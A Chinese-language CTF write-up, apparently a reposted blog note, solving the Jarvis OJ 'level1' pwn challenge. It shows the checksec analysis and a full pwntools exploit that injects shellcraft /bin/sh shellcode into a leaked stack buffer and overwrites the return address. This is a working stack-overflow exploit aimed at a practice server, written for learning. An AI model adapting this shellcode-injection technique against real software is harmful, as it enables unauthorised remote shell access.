其他分享
首页 > 其他分享> > 笔记向——PWN jarvis oj level1

笔记向——PWN jarvis oj level1

作者:互联网

题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5

nc pwn2.jarvisoj.com 9877

0x01Linux中分析题目

首先使用file命令,文件为32位

在这里插入图片描述

再运行一下文件,提示输入,然后输出hello world

在这里插入图片描述

若出现权限不够则使用 chmod 777 文件名 ,打开文件所有权限

在这里插入图片描述

使用gdb工具,终端输入gdb,再输入:checksec 文件名,检查保护措施

在这里插入图片描述

0x02IDA反汇编

在这里插入图片描述

代码与level0类似,但发现题目里面并没有给出system(/bin/sh),这就需要我们自己写shellcode(shellcode就是一段代码,用于用户攻击远程服务器,可以获取权限拿到/bin/sh)
pwntools提供了获取/bin/sh 的 shellcode,可以用shellcraft.sh(),但获得的shellcode还是汇编代码,不是能用的机器码(16进制),所以还需要进行一次编译,用asm(shellcraft.sh()) 即可得到获取/bin/sh的shellcode。

在这里插入图片描述

可以看到在vulnerable_function中泄漏了buf的内存,之前用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的起始地址,实现栈溢出攻击。

在这里插入图片描述

0X03编写EXP

from pwn import *

r=remote('pwn2.jarvisoj.com',9877)
context(arch='i386',os='linux',log_level='debug')

shellcode=asm(shellcraft.sh())
text=r.recvline()[14:-2]
addr_buf=int(text,16)

payload=shellcode+'A'*(0x88+0x4-len(shellcode))+p32(addr_buf)
r.send(payload)
r.interactive()

编写shellcode
1)先设置目标机的参数
context(os=’linux’,arch=’amd64’,log_level=’debug’)
os:设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
arch:设置架构,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
log_level:设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。

2)获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码
通过pwntool的 asm(shellcraft.sh())
 

最后利用exp,获得flag

在这里插入图片描述
引用文章链接
https://blog.csdn.net/qq_44832048/article/details/97104411
https://blog.csdn.net/sltrainy/article/details/80139146

标签:bin,buf,level1,sh,linux,PWN,shellcode,jarvis,shellcraft
来源: https://blog.csdn.net/m0_52133692/article/details/109717812